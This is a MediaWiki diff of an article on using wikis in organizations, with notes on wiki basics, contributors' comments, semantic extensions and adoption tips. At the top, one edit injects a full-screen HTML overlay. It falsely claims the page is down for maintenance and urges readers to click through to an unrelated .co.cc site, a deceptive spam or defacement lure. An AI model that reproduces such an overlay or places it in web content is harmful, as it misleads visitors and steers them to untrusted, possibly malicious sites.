44
edits
Osejisycym (talk | contribs) No edit summary |
|||
Line 1: | Line 1: | ||
---- | |||
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | |||
---- | |||
=[http://ecoquvejoz.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | |||
---- | |||
=[http://ecoquvejoz.co.cc CLICK HERE]= | |||
---- | |||
</div> | |||
= Using Wikis in organizations = | = Using Wikis in organizations = | ||
== What is a wiki == | == What is a wiki == | ||
Hawaiian for | Hawaiian for "quick." | ||
Classically - A wiki (pronounced /ˈwɪki/ WIK-ee) is a website that allows the easy creation and editing of any number of interlinked web pages via a web browser using a simplified markup language. ([http://en.wikipedia.org/wiki/Wiki Wikipedia]). | Classically - A wiki (pronounced /ˈwɪki/ WIK-ee) is a website that allows the easy creation and editing of any number of interlinked web pages via a web browser using a simplified markup language. ([http://en.wikipedia.org/wiki/Wiki Wikipedia]). | ||
Line 21: | Line 29: | ||
* Culture - view source - http://www.whitehouse.gov/ (well designed) links to other media | * Culture - view source - http://www.whitehouse.gov/ (well designed) links to other media | ||
* Transparency, open source & reusable data (web browsers & servers) | * Transparency, open source & reusable data (web browsers & servers) | ||
* Mass involvement | * Mass involvement | ||
* Computer culture, facebook &c - http://www.facebook.com/video/video.php?v=37403547074&ref=nf | * Computer culture, facebook &c - http://www.facebook.com/video/video.php?v=37403547074&ref=nf | ||
* Wiki like systems predate wikipedia hgttg, everything | * Wiki like systems predate wikipedia hgttg, everything | ||
Line 50: | Line 58: | ||
* a wiki is like play-doh or paper and you can make anything out of it. With a few formatting conventions i've seen wikis used for documentation, task and TODO lists, planning and timelines, bug tracking, tracking physical resources (where is this piece of equipment and has it been paid for yet) and customer relations | * a wiki is like play-doh or paper and you can make anything out of it. With a few formatting conventions i've seen wikis used for documentation, task and TODO lists, planning and timelines, bug tracking, tracking physical resources (where is this piece of equipment and has it been paid for yet) and customer relations | ||
* it's faster and easier and safer than emailing around a bunch of word documents with | * it's faster and easier and safer than emailing around a bunch of word documents with "track changes" turned on | ||
'''Helen comments:''' | '''Helen comments:''' | ||
* What makes me a Wiki enthusiast after tonight, however, is that I've now seen how wikis enable the management & generation of knowledge, and the planning & generation of work. Specifically, I think it's incredible that with wikis (or at least this particular wiki software), you are expected to generate the title (reference) for a link BEFORE you generate the content for the link. So if I'm tackling a multidimensional beast, even just a complicated grant, I can start with the main text, and put in links to appendix documents without having those documents in existence yet. In other words, it's a conceptual approach -- I LIKE!! | * What makes me a Wiki enthusiast after tonight, however, is that I've now seen how wikis enable the management & generation of knowledge, and the planning & generation of work. Specifically, I think it's incredible that with wikis (or at least this particular wiki software), you are expected to generate the title (reference) for a link BEFORE you generate the content for the link. So if I'm tackling a multidimensional beast, even just a complicated grant, I can start with the main text, and put in links to appendix documents without having those documents in existence yet. In other words, it's a conceptual approach -- I LIKE!! | ||
== Compared to other applications == | == Compared to other applications == | ||
Line 133: | Line 141: | ||
http://www.mediawiki.org/wiki/Extension:Semantic_Forms#Sites_that_use_Semantic_Forms | http://www.mediawiki.org/wiki/Extension:Semantic_Forms#Sites_that_use_Semantic_Forms | ||
* Templates & Forms | * Templates & Forms | ||
* Facets | * Facets | ||
* http://semanticweb.org/wiki/User:Markus_Kr%C3%B6tzsch/Map_example | * http://semanticweb.org/wiki/User:Markus_Kr%C3%B6tzsch/Map_example | ||
Line 160: | Line 168: | ||
* Databases with finely and arbitrarily defined data, with forms and querying | * Databases with finely and arbitrarily defined data, with forms and querying | ||
* self contained applications like [http://www.placeography.org/index.php/Bridge_Trail_Walking_Tour mapping], [http://wiki.creativecommons.org/CcTeamspace task tracking], [http://ced.zooid.org/wiki/Social_orgs_graph_(sandbox) diagramming] with fine grained data integration between | * self contained applications like [http://www.placeography.org/index.php/Bridge_Trail_Walking_Tour mapping], [http://wiki.creativecommons.org/CcTeamspace task tracking], [http://ced.zooid.org/wiki/Social_orgs_graph_(sandbox) diagramming] with fine grained data integration between "apps" | ||
* Connecting with other systems using semantic web standards | * Connecting with other systems using semantic web standards | ||
Line 207: | Line 215: | ||
* Find out what their real problems are | * Find out what their real problems are | ||
* find champions | * find champions | ||
* break wikis into sites | * break wikis into sites "owned" by different people/communities | ||
* Ease of hosting | * Ease of hosting | ||
* Don't pretend wiki can do everything, don't oversell | * Don't pretend wiki can do everything, don't oversell | ||
Line 225: | Line 233: | ||
* Working with conservative top level management | * Working with conservative top level management | ||
** | ** "this is already happening" - examples | ||
* gaining critical mass | * gaining critical mass |
edits